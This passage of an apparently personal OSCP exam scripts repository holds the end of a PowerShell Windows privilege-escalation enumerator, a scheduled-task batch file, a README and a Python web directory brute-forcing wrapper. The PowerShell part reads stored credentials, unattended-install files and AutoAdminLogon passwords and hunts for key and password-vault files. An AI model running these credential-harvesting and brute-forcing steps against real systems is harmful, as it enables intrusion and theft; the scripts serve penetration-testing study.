| $output = $output + "-----------------------------------------------------------`r`n" 187 | $output = $output + (get-childitem "C:\Users\" -recurse -Include *.zip,*.rar,*.7z,*.gz,*.conf,*.rdp,*.kdbx,*.crt,*.pem,*.ppk,*.txt,*.xml,*.vnc.*.ini,*.vbs,*.bat,*.ps1,*.cmd -EA SilentlyContinue | %{$_.FullName } | out-string) 188 | $output = $output + "`r`n" 189 | $output = $output + "-----------------------------------------------------------`r`n" 190 | $output = $output + " 10 Last Modified Files in C:\User`r`n" 191 | $output = $output + "-----------------------------------------------------------`r`n" 192 | $output = $output + (Get-ChildItem 'C:\Users' -recurse -EA SilentlyContinue | Sort {$_.LastWriteTime} | %{$_.FullName } | select -last 10 | ft -hidetableheaders | out-string) 193 | $output = $output + "`r`n" 194 | $output = $output + "-----------------------------------------------------------`r`n" 195 | $output = $output + " MUICache Files`r`n" 196 | $output = $output + "-----------------------------------------------------------`r`n" 197 | get-childitem "HKCU:\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\" -EA SilentlyContinue | 198 | foreach { $CurrentKey = (Get-ItemProperty -Path $_.PsPath) 199 | if ($CurrentKey -match "C:\\") { 200 | $output = $output + ($_.Property -join "`r`n") 201 | } 202 | } 203 | $output = $output + "`r`n" 204 | $output = $output + "`r`n" 205 | write-output " - Looking for Simple Priv Esc Methods" 206 | $output = $output + "-----------------------------------------------------------`r`n" 207 | $output = $output + " System Files with Passwords`r`n" 208 | $output = $output + "-----------------------------------------------------------`r`n" 209 | $files = ("unattended.xml", "sysprep.xml", "autounattended.xml","unattended.inf", "sysprep.inf", "autounattended.inf","unattended.txt", "sysprep.txt", "autounattended.txt") 210 | $output = $output + (get-childitem C:\ -recurse -include $files -EA SilentlyContinue | Select-String -pattern "" | out-string) 211 | $output = $output + "`r`n" 212 | $output = $output + "-----------------------------------------------------------`r`n" 213 | $output = $output + " AlwaysInstalledElevated Registry Key`r`n" 214 | $output = $output + "-----------------------------------------------------------`r`n" 215 | $HKLM = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" 216 | $HKCU = "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" 217 | if (($HKLM | test-path) -eq "True") 218 | { 219 | if (((Get-ItemProperty -Path $HKLM -Name AlwaysInstallElevated).AlwaysInstallElevated) -eq 1) 220 | { 221 | $output = $output + "AlwaysInstallElevated enabled on this host!" 222 | } 223 | } 224 | if (($HKCU | test-path) -eq "True") 225 | { 226 | if (((Get-ItemProperty -Path $HKLM -Name AlwaysInstallElevated).AlwaysInstallElevated) -eq 1) 227 | { 228 | $output = $output + "AlwaysInstallElevated enabled on this host!" 229 | } 230 | } 231 | $output = $output + "`r`n" 232 | $output = $output + "-----------------------------------------------------------`r`n" 233 | $output = $output + " Stored Credentials`r`n" 234 | $output = $output + "-----------------------------------------------------------`r`n" 235 | $output = $output + (cmdkey /list | out-string) 236 | $output = $output + "`r`n" 237 | $output = $output + "-----------------------------------------------------------`r`n" 238 | $output = $output + " Checking for AutoAdminLogon `r`n" 239 | $output = $output + "-----------------------------------------------------------`r`n" 240 | $Winlogon = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 241 | if (get-itemproperty -path $Winlogon -Name AutoAdminLogon -ErrorAction SilentlyContinue) 242 | { 243 | if ((get-itemproperty -path $Winlogon -Name AutoAdminLogon).AutoAdminLogon -eq 1) 244 | { 245 | $Username = (get-itemproperty -path $Winlogon -Name DefaultUserName).DefaultUsername 246 | $output = $output + "The default username is $Username `r`n" 247 | $Password = (get-itemproperty -path $Winlogon -Name DefaultPassword).DefaultPassword 248 | $output = $output + "The default password is $Password `r`n" 249 | $DefaultDomainName = (get-itemproperty -path $Winlogon -Name DefaultDomainName).DefaultDomainName 250 | $output = $output + "The default domainname is $DefaultDomainName `r`n" 251 | } 252 | } 253 | $output = $output + "`r`n" 254 | if ($OutputFilename.length -gt 0) 255 | { 256 | $output | Out-File -FilePath $OutputFileName -encoding utf8 257 | } 258 | else 259 | { 260 | clear-host 261 | write-output $output 262 | } 263 | } 264 | 265 | if ($OutputFilename.length -gt 0) 266 | { 267 | Try 268 | { 269 | [io.file]::OpenWrite($OutputFilename).close() 270 | JAWS-ENUM 271 | } 272 | Catch 273 | { 274 | Write-Warning "`nUnable to write to output file $OutputFilename, Check path and permissions" 275 | } 276 | } 277 | else 278 | { 279 | JAWS-ENUM 280 | } 281 | -------------------------------------------------------------------------------- /PrivEsc/Windows/tasks.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | REM - Lists all schededuled tasks. Runs list of executables against icacls and checks if any allow Everyone RW permissions. 3 | REM - Note: At present the script only ECHO's tasks. 4 | for /f "tokens=3* delims=: " %%m in ('schtasks /query /v /fo LIST ^| find "Task To Run:"') do ( 5 | for /f "tokens=1* delims=?" %%x in ('echo(%%~n^| findstr /L /V /I /C:"COM handler" /C:"multiple" /C:"%SystemRoot%" /C:"shutdown"') do ( 6 | ECHO %%~x REM > results.txt 7 | ) 8 | ) 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OSCP 2 | Various OSCP Scripts 3 | 4 | Personal repository for OSCP-related scripts I find or come up with. 5 | -------------------------------------------------------------------------------- /Recon/dirbustHAM.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | import os 5 | import subprocess 6 | import errno 7 | import multiprocessing 8 | from multiprocessing import Process 9 | import time 10 | import argparse 11 | 12 | #makedir function from https://stackoverflow.com/questions/600268/mkdir-p-functionality-in-python 13 | #Compatible with Python >2.5, but there is a more advanced function for python 3.5 14 | def mkdir_p(path): 15 | try: 16 | os.makedirs(path) 17 | except OSError as exc: #Python >2.5 18 | if exc.errno == errno.EEXIST and os.path.isdir(path): 19 | pass 20 | else: 21 | raise 22 | 23 | #CEWL FUNCTION NOT IN USE YET. TESTING FOR THREADING 24 | def cewl(depth,urlOrFile,scanname): 25 | # -c: count for each word found 26 | # -d: depth to spider Default 2 27 | # -k: keep downloaded files 28 | # -a: consider metadata. files downloaded to /tmp 29 | # --meta_file: filename for metadata output 30 | # --feta-temp-dir: dir to use when downloading/parsing 31 | # -m: min word length 32 | # -n: don't output the wordlist 33 | # -o: default, spider only visit site specified. with -o, cewl will visit external sites 34 | # -u: user agent, default is 'Ruby' 35 | # -w: file, write output rather than STDOUT 36 | # --auth_type: digest or basic 37 | # --auth_user: username 38 | # --auth_pass: password 39 | # --proxy_host: proxy 40 | # --proxy_port: port 41 | # --proxy_username: username 42 | # --proxy_password: password 43 | # -v: verbose 44 | print "INFO: cewl %s scan for %s starting" % (args.tool, url) 45 | dev_null = open(os.devnull, 'w') 46 | if os.path.isfile(urlOrFile): #if we're passed a file (ie, chunks) 47 | f = open(scanname,'w') 48 | g = open(urlOrFile,'r') 49 | for line in g: 50 | line = line.split(" ")[0] 51 | if line[-1] == "\n": 52 | line = line[:-1] 53 | results = subprocess.check_output(['cewl','-d %d' % depth,'-k','-a','-m 5','-u',user_agent,line],stderr=dev_null) 54 | f.write(results) 55 | f.close() 56 | g.close() 57 | else: #else we just scan a single line 58 | results = subprocess.check_output(['cewl','-d %d' % depth,'-k','-a','-m 5','-u',user_agent,urlOrFile,'-w',scanname],stderr=dev_null) 59 | print "INFO: Finished cewl %s scan for %s" % (args.tool, url) 60 | 61 | def genlistLoopProc(tool_default_list): 62 | if getStatus200(tool_default_list): 63 | jobs = [] 64 | count = 0 65 | #dirToStoreChunks, absPathFileToChunk,chunkFileNames,numChunks 66 | if (os.path.getsize(STAT_200) != 0): 67 | tmp = "stat200_%s_%s_chunk" % (name, port) 68 | chunkWordlistGeneric(BASE,STAT_200,tmp,PROCESSES) 69 | for chunk in os.listdir(BASE): 70 | if tmp in chunk: 71 | path = "%s/%s" % (BASE,chunk) #path.abspath uses CWD so hard code path here 72 | if os.path.getsize(path) > 0: 73 | scanname = "%s_results_chunk_%s" % (CEWL_OUT, str(count)) 74 | p = multiprocessing.Process(target=cewl, args=(2,path,scanname)) 75 | p.start() 76 | jobs.append(p) 77 | count += 1 78 | for p in jobs: 79 | p.join() 80 | tmp = "cewl_%s_%s_results_chunk_" % (name,port) 81 | comuni(tmp,CEWL_OUT) #comuni BASE/cewl_ip_port_results_chunk_* 82 | #time.sleep(1) 83 | for resChunk in os.listdir(BASE): 84 | if os.path.isfile("%s/%s" % (BASE,resChunk)): 85 | resultFile = "%s_%s_results_chunk_" % (name, port) 86 | if resultFile in resChunk: 87 | resChunk = "%s/%s" % (BASE,resChunk) 88 | os.remove(resChunk) 89 | statFile = "stat200_%s_%s_chunk" % (name, port) 90 | if statFile in resChunk: 91 | resChunk = "%s/%s" % (BASE,resChunk) 92 | os.remove(resChunk) 93 | else: #shouldn't happen, but if there are no 'status 200' pages, just spider main page 94 | cewl(5,url,CEWL_OUT) 95 | else: 96 | return 97 | 98 | #Call getStatus200 99 | #Grab CEWL output each run and add into set for uniqueness 100 | #Iterate through set and output words for further gobusting 101 | def genlistLoop(tool_default_list): 102 | print "INFO: generating custom wordlist" 103 | getStatus200(tool_default_list) 104 | g = open(STAT_200, 'r') 105 | cewldWords = set() 106 | dev_null = open(os.devnull, 'w') 107 | if (os.path.getsize(STAT_200) != 0): #shouldn't happen, but if there are no 'new' dirs, just spider main page 108 | for line in g: 109 | line = line.split(" ")[0] 110 | results = subprocess.check_output(['cewl','-d 2','-k','-a','-m 5','-u %s' % user_agent,line],stderr=dev_null) 111 | for res in results: 112 | cewldWords.add(res) 113 | else: 114 | results = subprocess.check_output(['cewl','-d 5','-k','-a','-m 5','-u %s' % user_agent,url],stderr=dev_null) 115 | for res in results: 116 | cewldWords.add(res) 117 | dev_null.close() 118 | g.close() 119 | g = open(CEWL_OUT, 'w') 120 | for word in cewldWords: 121 | g.write(word) 122 | g.close() 123 | 124 | #After the first run of Gobuster, grab the results, 125 | #parse status 200 into another file for CEWL 126 | def getStatus200(tool_default_list): #like GOB_DEFAULT/DIRB_DEFAULT 127 | g = open(tool_default_list, 'r') 128 | status200=[] 129 | tmp = "/tmp/stat200" 130 | if args.tool == "gobuster" or args.tool == "dirb": 131 | for line in g: 132 | if ("(Status: 200)" in line) or ("(CODE:200" in line): #Status for Gob, Code for dirb 133 | status200.append(line) 134 | g.close() 135 | if len(status200) > 0: 136 | g = open(STAT_200, 'w') 137 | for line in status200: 138 | g.write(line) 139 | g.close() 140 | UNIQ="cat %s | sort | uniq > %s" % (STAT_200, tmp) 141 | subprocess.check_call(UNIQ, shell=True) 142 | MOVE="mv %s %s" % (tmp, STAT_200) 143 | subprocess.check_call(MOVE, shell=True) 144 | return True 145 | else: 146 | print "INFO: No accessible webpages detected (no status 200 responses) for %s:%s" % (ip_address, port) 147 | return False 148 | g.close() 149 | if args.tool == "wfuzz": 150 | transformWfuzzOutput(tool_default_list, STAT_200) 151 | if os.path.getsize(STAT_200) != 0: 152 | return True 153 | else: 154 | return False 155 | 156 | def transformWfuzzOutput(file1, file2): 157 | f = open(file1, 'r') #tool_default_list 158 | #tmp = "/tmp/wfuzz_%s_%s_tmp" % (ip_address, port) 159 | g = open(file2, 'w') 160 | for line in f: 161 | if "C=200" in line: #make it formatted more like Gobuster (Status: 200) [Size: 1527] 162 | # if set[0] is "", skip it, if set[1] is numbers, save it, if set[2] is L skip it 163 | tmpLineCount = set(line.split("C=200")[1].split("\t")[0]) 164 | #print "tmpLineCount: %s" % tmpLineCount 165 | for i in range(0, len(tmpLineCount), 1): 166 | pop = tmpLineCount.pop() 167 | if pop == "" or pop == " " or pop == "L": 168 | continue 169 | else: 170 | lineCount = pop 171 | break 172 | directory = line.split('"')[-2] 173 | g.write(url + "/" + directory + " (Status: 200) [Size: " + lineCount + "]\n") 174 | f.close() 175 | g.close() 176 | 177 | def dirb(wordlist, scanname): 178 | #dirb documentation (not all options, just common ones) 179 | #dirb [] [options] 180 | #-a string: custom User_Agent 181 | #-b : don't squash or merge sequences of /../ or /./ in the given URL 182 | #-f: fine tunning of NOT_FOUND (404) detection 183 | #-N : ifnore responses with this HTTP code 184 | #-o : save output to disk 185 | #-r: don't search recursively 186 | #-R: interactive recursion (ask for each) 187 | #-S: silent mode. Don't show tested words 188 | #-t: don't force an ending '/' on URLs 189 | #-v: show also not existent pages 190 | #-w: don't stop on warning messages 191 | #-x : amplify search with the extensions on this file 192 | #-X : Amplify search with this extensions 193 | #-z : Amplify search with this extensions 194 | #Dirb actually cannot handle too many wordlists passed at a time....have to loop each individually 195 | #Dirb can't handle very large lists, 2mb seems fine, so defaulting to new secProb_no_ext.txt list 196 | if (wordlist == ""): 197 | cwd = os.getcwd() #get it so we can pop back to it later because reasons 198 | os.chdir(LISTS) 199 | files = os.listdir(LISTS) 200 | f = open(scanname, 'a') 201 | for file in files: 202 | DIRBSCAN = "dirb %s %s -a '%s' -b -f -S" % (url, file, user_agent) 203 | results = subprocess.check_output(['dirb',url,file,'-a',user_agent,'-b','-f','-S']) 204 | #results = subprocess.check_call(DIRBSCAN, shell=True) 205 | try: 206 | itter = results.split("\n") 207 | for line in itter: 208 | if ( str("+") in results) or ( str("(!)") in results): 209 | f.write(results) 210 | except: 211 | pass 212 | os.chdir(cwd) 213 | f.close() 214 | else: 215 | f = open(scanname, 'w') 216 | DIRBSCAN = "dirb %s %s -a '%s' -b -f -S" % (url, wordlist, user_agent) 217 | results = subprocess.check_output(['dirb',url,wordlist,'-a',user_agent,'-b','-f','-S']) 218 | #results = subprocess.check_call(DIRBSCAN, shell=True) 219 | try: 220 | itter = results.split("\n") 221 | for line in itter: 222 | if ("+" in results) or ("(!)" in results): 223 | f.write(results) 224 | except: 225 | pass 226 | f.close() 227 | 228 | #wfuzz [options] -z payload,params 229 | #-v verbose 230 | #-p addr (proxy) 231 | #-t N number of concurrent connections 232 | #-s N delay between requests 233 | #-R depth Recursion level 234 | #-L follow HTTP redirections 235 | #-u url URL for request 236 | #-z payload Payload for each FUZZ keyword used 237 | #-w wordlist specify a wordlist file (alias for -z file,payload) 238 | #-V alltype All parameters bruteforcing (no need for FUZZ keyword) 239 | #-x method HTTP method for request 240 | def wfuzz(wordlist, scanname): 241 | results = subprocess.check_output(['wfuzz','-v','-t',threads,'-L','--hc','404','-w',wordlist,'-u',url,'-f',scanname]) 242 | 243 | def gobuster(wordlist, scanname): 244 | #gobuster documentation (not all options, just common ones) 245 | #-a string: Set the User-Agent string (dir mode only) 246 | #-e Expanded mode, print full URLs 247 | #-f Append a forward-slash to each directory request (dir mode only) 248 | #-l Include the length of the body in the output (dir mode only) 249 | #-n Don't print status codes 250 | #-p string: Proxy to use for requests [http(s)://host:port] (dir mode only) 251 | #-q Don't print the banner and other noise 252 | #-r Follow redirects 253 | #-s string: Positive status codes (dir mode only) (default "200,204,301,302,307") 254 | #-t int: Number of concurrent threads (default 10) 255 | #-u string: The target URL or Domain 256 | #-v Verbose output (errors) 257 | #-w string: Path to the wordlist 258 | #-x string: File extension(s) to search for (dir mode only) 259 | #-P string: Password for basic auth 260 | #-U string: Username for basic auth 261 | #-fw: Force continued operation when wildcard found 262 | #-k: skip SSL certificate verification 263 | results = subprocess.check_output(['gobuster','-a',user_agent,'-t',threads,'-e','-q','-r','-s',dirStatusCodes,'-u',url,'-x',FILE_EXT,'-l','-w',wordlist,'-o',scanname,'-k']) 264 | #print results 265 | if "Wildcard response found" in results: 266 | results = subprocess.check_output(['gobuster','-a',user_agent,'-t',threads,'-e','-q','-r','-s',dirStatusCodes,'-u',url,'-x',FILE_EXT,'-l','-w',wordlist,'-fw','-o',scanname]) 267 | if "Invalid certificate" in results: 268 | results = subprocess.check_output(['gobuster','-a',user_agent,'-t',threads,'-e','-q','-r','-s',dirStatusCodes,'-u',url,'-x',FILE_EXT,'-l','-w',wordlist,'-o',scanname,'-k']) 269 | if "Unable to connect:" in results: 270 | f = open(scanname,'w') 271 | f.write(results) 272 | f.close() 273 | 274 | def sortBySize(nameAndPathOfResults): 275 | f = open(nameAndPathOfResults, 'r') 276 | sizear = set() 277 | for line in f: 278 | if "Size:" in line: 279 | tmpsize = line.split('[Size: ')[1] 280 | if ("\n" in tmpsize): 281 | tmpsize = tmpsize[:-2] #-2 for ]\n if \n exists 282 | else: 283 | tmpsize = tmpsize[:-1] #-1 for ] 284 | sizear.add(tmpsize) 285 | for size in sizear: 286 | GREP = "grep %s %s > %s/gobuster_%s_%s_size_%s_only" % (size, nameAndPathOfResults, BASE, name, port, size) 287 | #can't redirect in subprocess, leaving shell=True 288 | GREPRESULTS = subprocess.call(GREP, shell=True) 289 | f.close() 290 | 291 | def cleanup(): 292 | directory = "%s/%s" % (BASE,name) 293 | for resultFile in os.listdir(BASE): 294 | if not os.path.isdir(directory): 295 | mkdir_p(directory) 296 | if os.path.isdir("%s/%s" % (BASE,resultFile)): 297 | continue 298 | if name in resultFile: 299 | destination = "%s/%s" % (directory,resultFile) 300 | resultFile = "%s/%s" % (BASE,resultFile) 301 | os.rename(resultFile,destination) 302 | 303 | def whatWeb(path): 304 | print "INFO: whatweb started on port %s" % (url) 305 | # 306 | #-i input file 307 | #-a Aggression level from 1 (quiet) to 3 (brute) 308 | #-u User agent 309 | #-v Verbose 310 | if os.path.getsize(path) == 0: 311 | print "ERROR: %s was not generated" % (path) 312 | return 313 | else: 314 | dev_null = open(os.devnull, 'w') 315 | f = open(path) #COMBINED file 316 | g = open(WW_URLS,'w') 317 | for line in f: 318 | line = line.split(" ")[0] 319 | if "(" in line or ")" in line or line == "" or "Unable to connect:" in line or not "." in line: 320 | pass 321 | else: 322 | g.write(line + "\n") 323 | g.close() 324 | if os.path.getsize(WW_URLS) > 0: 325 | results = subprocess.check_output(['whatweb','-i',WW_URLS,'-u',user_agent,'-a 3','-v','--log-xml',WW_OUT],stderr=dev_null) 326 | f = open(WW_OUT_VERBOSE,'w') 327 | for res in results: 328 | f.write(res) 329 | f.close() 330 | dev_null.close() 331 | else: 332 | print "No URLs to whatweb fingerprint for %s:%s" % (ip_address,port) 333 | print "INFO: WhatWeb identification of %s completed" % (url) 334 | 335 | def chunkWordlistGeneric(dirToStoreChunks, absPathFileToChunk, chunkFileNames, numChunks): 336 | if not os.path.exists(dirToStoreChunks): 337 | mkdir_p(dirToStoreChunks) 338 | proceed = True 339 | for thing in os.listdir(dirToStoreChunks): 340 | if chunkFileNames in thing: 341 | proceed = False 342 | break 343 | if os.path.exists(dirToStoreChunks) and proceed: 344 | f = open(absPathFileToChunk, 'r') 345 | chunkCount = 0 346 | chunkFileCount = 0 347 | chunkFile = "%s/%s_%s" % (dirToStoreChunks,chunkFileNames,str(chunkFileCount)) 348 | origSize = subprocess.check_output(['wc', '-l', absPathFileToChunk]).split(" ")[0] 349 | g = open(chunkFile, 'w') 350 | for line in f: 351 | g.write(line) 352 | if chunkCount >= (int(origSize)/numChunks): 353 | g.close() 354 | chunkFileCount += 1 355 | chunkFile = "%s/%s_%s" % (dirToStoreChunks,chunkFileNames,str(chunkFileCount)) 356 | chunkCount = 0 357 | g = open(chunkFile, 'w') 358 | chunkCount += 1 359 | f.close() 360 | g.close() 361 | #print "Number of chunks: %s" % (str(chunkFileCount+1)) 362 | 363 | def comuni(tool,combined_name): 364 | COMUNI = "awk \'!a[$0]++\' %s/%s* > %s" % (BASE, tool, combined_name) 365 | #can't do wildcards in subprocess, will keep shell=True 366 | comuniresults = subprocess.check_call(COMUNI, shell=True) 367 | 368 | #-u: Target URL 369 | #-p: list of params to scan for 370 | #-H HEADER add a custom header to the request 371 | #-a AGENT specify user agent 372 | #-t THREADS specify number of threads 373 | #-off VARIANCE variance offset to ignore (request size difference) 374 | #-diff DIFFERENCE percentage difference in response (rec 95) 375 | #-o OUT output file 376 | #-P proxy Proxy in http|s://[IP]:[PORT] 377 | #-x IGNORE Status requests to ignore (404,302,etc) 378 | #-s SIZEIGNORE ignore responses of specific size 379 | #-d DATA provide default post data (also taken from provided url after ?) 380 | #-i IGMETH Ignore method (specify g for GET or p for POST) 381 | #-c COOKIE Specify cookie 382 | #-T TIMEOUT specify timeout 383 | def parameth(STAT_200_URLS,scanname): 384 | print "INFO: Starting parameth on %s" % (url) 385 | tmpScanname = "/tmp/%s_%s_%s_%s_paramethtmp" % (args.tool, ip_address, port, args.intensity) 386 | f = open(STAT_200_URLS, 'r') 387 | g = open(scanname, "w+") 388 | paramethRunCount = 0 389 | urlSet = set() 390 | for url200 in f: 391 | urlOnly = url200.split(" ")[0] 392 | if "?" in urlOnly: 393 | urlOnly = urlOnly.split("?")[0] 394 | urlSet.add(urlOnly) 395 | for uniqURL in urlSet: 396 | if paramethRunCount == 0: 397 | results = subprocess.check_output(['/root/Documents/Parameth/./parameth.py','-u',url,'-p',args.parameth_wordlist,'-a',user_agent,'-t',threads]).split("\n") 398 | paramethRunCount += 1 399 | if paramethRunCount > 0: 400 | results = subprocess.check_output(['/root/Documents/Parameth/./parameth.py','-u',uniqURL,'-p',args.parameth_wordlist,'-a',user_agent,'-t',threads]).split("\n") 401 | for res in results: 402 | if "->" and "http" in res: 403 | g.write(res) 404 | g.write("\n") 405 | else: 406 | continue 407 | f.close() 408 | g.close() 409 | os.rename(scanname, tmpScanname) 410 | GREPV_AUTHOR = "cat %s | grep -iv 'Author' > %s" % (tmpScanname, scanname) 411 | subprocess.call(GREPV_AUTHOR, shell=True) 412 | print "INFO: Completed parameth on %s" % (url) 413 | 414 | def check_intensity(): 415 | intensity = args.intensity 416 | if int(intensity) >= 13 or int(intensity) <= 0: 417 | raise argparse.ArgumentTypeError("Intensity needs to be between 1-12") 418 | else: 419 | args.intensity = int(args.intensity) 420 | 421 | def check_processes(): 422 | args.PROCESSES = int(args.PROCESSES) 423 | 424 | if __name__=='__main__': 425 | #recommended usage: ./dirbustEVERYTHING.py -p 1 -i 4 URL:PORT, probably followed by a -i 8 scan 426 | parser = argparse.ArgumentParser(description='Rough script to handle bruteforcing of web directories. Usage: dirbust.py {-t [gobuster|dirb] -x ".html" -a -w -p <#> -i <#>} ') 427 | parser.add_argument('-t', '--tool', default="gobuster", choices=["gobuster", "dirb", "wfuzz"], help="Use a specific tool with dirbustEVERYTHING: -t gobuster. Default gobuster") 428 | parser.add_argument('-m', '--more-threads', dest="more_threads", default='10', help="Threads to be passed to tools") 429 | parser.add_argument('-x', '--extensions', dest="FILE_EXT", default=".html", help="File extensions to test for. Comma delimited with no spaces eg .php,.html") 430 | parser.add_argument('-a', '--user-agent', dest="user_agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1", help="User-agent") 431 | parser.add_argument('-w', '--wordlist', dest="default_wordlist", default="/root/lists/Web/secProb_no_ext.txt", help="Wordlist to use for directory brute force") 432 | parser.add_argument('-q', '--pwordlist', dest="parameth_wordlist", default="/root/lists/Web/all_url_params.txt", help="Wordlist to use for parameter brute force") 433 | parser.add_argument('-p', '--processes', dest="PROCESSES", default='10', help="Number of chunks to split wordlist into. A separate tool invocation will be used for each chunk. This is NOT gobuster -t threads.") 434 | parser.add_argument('-i', '--intensity', default="3", help="Intensity level." 435 | "Small wordlist is secProb. Larger is Personal_w_vulns.-------------------------------------" 436 | "1: scan no extensions. ------------------------------- " 437 | "2: scan with extensions, but no other tools. --------- " 438 | "3: scan with extensions, cewl, nmapHttpVulns, parameth, and whatweb. ---------- " 439 | "4: scan with more extensions, cewl, nmapHttpVulns, parameth, and whatweb. ----- " 440 | "5: scan with larger wordlist, no extensions. --------- " 441 | "6: scan with larger wordlist and extensions, but no other tools. ----------------------------------------- " 442 | "7: scan with larger wordlist and extensions, cewl, nmapHttpVulns, parameth, and whatweb. -------------------------- " 443 | "8: scan with larger wordlist more extensions, cewl, nmapHttpVulns, parameth, and whatweb. -------------------------- " 444 | "9: scan with user wordlist and no extensions. -------- " 445 | "10: scan with user wordlist and extensions, but no other tools. ----------------------------------------- " 446 | "11: scan with user wordlist and extensions, cewl, nmapHttpVulns, parameth, and whatweb. -------------------------- " 447 | "12: scan with user wordlist, more extensions, cewl, nmapHttpVulns, parameth, and whatweb. -------------------------- ") 448 | parser.add_argument('url', help="Run all (safe) nmap scripts regarding HTTP scanning") 449 | args = parser.parse_args() 450 | 451 | check_intensity() 452 | check_processes() 453 | 454 | #Fix URL if "http(s)" is not passed in 455 | if len(args.url.split(":")) == 0 or len(args.url.split(":")) == 1: 456 | print "Need to specify URL:PORT" 457 | sys.exit(1) 458 | elif ("https" in args.url): 459 | tmp = args.url.split("https://") 460 | if len(tmp) == 2: #https:// and IP:port 461 | if len(tmp[1].split(":")) == 2: 462 | ip_address = tmp[1].split(":")[0] 463 | port = tmp[1].split(":")[1] 464 | url = "https://" + ip_address + ":" + port 465 | else: 466 | print "Need to specify URL:PORT" 467 | sys.exit(1) 468 | elif ("http" in args.url): 469 | tmp = args.url.split("http://") 470 | if len(tmp) == 2: 471 | if len(tmp[1].split(":")) == 2: 472 | ip_address = tmp[1].split(":")[0] 473 | port = tmp[1].split(":")[1] 474 | url = "http://" + ip_address + ":" + port 475 | else: 476 | print "Need to specify URL:PORT" 477 | sys.exit(1) 478 | else: 479 | tmp = args.url.split(":") 480 | if len(tmp) == 2: 481 | ip_address = tmp[0] 482 | port = tmp[1] 483 | if port == 443: 484 | url = "https://" + ip_address + ":" + port 485 | else: 486 | url = "http://" + ip_address + ":" + port 487 | 488 | #This is needed in case of odd ports. May not be only 80/443 489 | path = "/root/scripts/recon_enum/results/exam/dirb/%s" % (port) 490 | mkdir_p(path) 491 | 492 | #This is a bad 'patch' for output scanname. Reconscan passes IP 493 | #so this will be forced for now 494 | name = "%s_%s" % (ip_address, args.intensity) 495 | 496 | #This is a bad 'patch' until user_agent is refactored to args.user_agent 497 | user_agent = args.user_agent 498 | 499 | #This is a bad 'patch' until apps use args.more-threads instead 500 | threads = args.more_threads 501 | 502 | #Default status codes that tools check for in addition to 403 503 | #defaultdirStatusCodes = '200,204,301,302,307' #default here if desired 504 | dirStatusCodes = '200,204,301,302,307,403' 505 | 506 | #Set intensity for file extensions 507 | #Technologies: .php,.asp,.aspx,.js,.cgi,.html 508 | #Other: .txt,.log, 509 | #Backups: .old,.bak,.gz,.tar.gz,.zip 510 | #Repos: .git,.svn 511 | if args.intensity in [2,3,6,7,10,11]: 512 | if args.FILE_EXT != ".php": 513 | #FILE_EXT=".php,.html,.cgi,.txt,.log"+args.FILE_EXT 514 | FILE_EXT=".html,.txt,.php"+args.FILE_EXT 515 | else: 516 | #FILE_EXT=".php,.html,.cgi,.txt,.log" 517 | FILE_EXT=".html,.txt,.php" 518 | elif args.intensity in [4,8,12]: 519 | FILE_EXT=".php,.html,.cgi,.txt,.bak,.old,.asp,.aspx,.git" 520 | else: 521 | if args.FILE_EXT == "": 522 | FILE_EXT=".html" 523 | else: 524 | FILE_EXT=args.FILE_EXT 525 | 526 | #Set intensity for wordlists 527 | if args.intensity in [1,2,3,4]: 528 | default_wordlist = "/root/lists/Web/secProb_no_ext.txt" 529 | elif args.intensity in [5,6,7,8]: 530 | default_wordlist = "/root/lists/Web/personal_with_vulns_no_ext.txt" 531 | else: 532 | default_wordlist = args.default_wordlist 533 | 534 | #WORDLIST_CHUNK_DIR="/root/lists/Web/secProbChunked" 535 | wordlistLastItem=args.default_wordlist.split("/")[len(args.default_wordlist.split("/"))-1] 536 | if len(wordlistLastItem.split(".")) == 1: 537 | WORDLIST_CHUNK_DIR="/root/lists/Web/%sChunked" % wordlistLastItem 538 | else: 539 | wordlistLastItem = wordlistLastItem.split(".")[0] 540 | WORDLIST_CHUNK_DIR="/root/lists/Web/%sChunked" % wordlistLastItem 541 | 542 | #This is a bad 'patch' until PROCESSES is refactored to args.PROCESSES 543 | PROCESSES = args.PROCESSES 544 | 545 | #PRIVATE FILENAMES 546 | BASE="/root/scripts/recon_enum/results/exam/dirb/%s" % (port) 547 | LISTS="/root/lists/Web/AllWebLists/separate" 548 | CEWL_OUT="%s/cewl_%s_%s" % (BASE, name, port) 549 | STAT_200="%s/stat200_%s_%s" % (BASE, name, port) 550 | GOB_DEFAULT="%s/gobuster_%s_%s_default" % (BASE, name, port) 551 | GOB_CEWL_OUTPUT="%s/gobuster_%s_%s_cewld" % (BASE, name, port) 552 | GOB_COMBINED="%s/gobuster_%s_%s_combined" % (BASE, name, port) 553 | GOB_PARAMETH="%s/gobuster_%s_%s_parameth" % (BASE, name, port) 554 | DIRB_DEFAULT="%s/dirb_%s_%s_default" % (BASE, name, port) 555 | DIRB_CEWL_OUTPUT="%s/dirb_%s_%s_cewld" % (BASE, name, port) 556 | DIRB_COMBINED="%s/dirb_%s_%s_combined" % (BASE, name, port) 557 | DIRB_PARAMETH="%s/dirb_%s_%s_parameth" % (BASE, name, port) 558 | WFUZZ_DEFAULT="%s/wfuzz_%s_%s_default" % (BASE, name, port) 559 | WFUZZ_CEWL_OUTPUT="%s/wfuzz_%s_%s_cewld" % (BASE, name, port) 560 | WFUZZ_COMBINED="%s/wfuzz_%s_%s_combined" % (BASE, name, port) 561 | WFUZZ_COMBINED_TMP="/tmp/wfuzz_%s_%s_combined_tmp" % (name, port) 562 | WFUZZ_PARAMETH="%s/wfuzz_%s_%s_parameth" % (BASE, name, port) 563 | WW_URLS="/root/scripts/recon_enum/results/exam/whatweb/%s_%s_whatwebURLs" % (name, port) 564 | WW_OUT="/root/scripts/recon_enum/results/exam/whatweb/%s_%s_whatweb.xml" % (name, port) 565 | WW_OUT_VERBOSE="/root/scripts/recon_enum/results/exam/whatweb/%s_%s_whatweb_verbose" % (name, port) 566 | FILE_EXT=args.FILE_EXT 567 | #FILE_EXT=".php,.html,.gz,.tar.gz" 568 | #FILE_EXT=".php.bak,.html.bak" 569 | #FILE_EXT=".log,.tpl,.cgi,.txt,.pl 570 | 571 | if (args.tool == "dirb"): 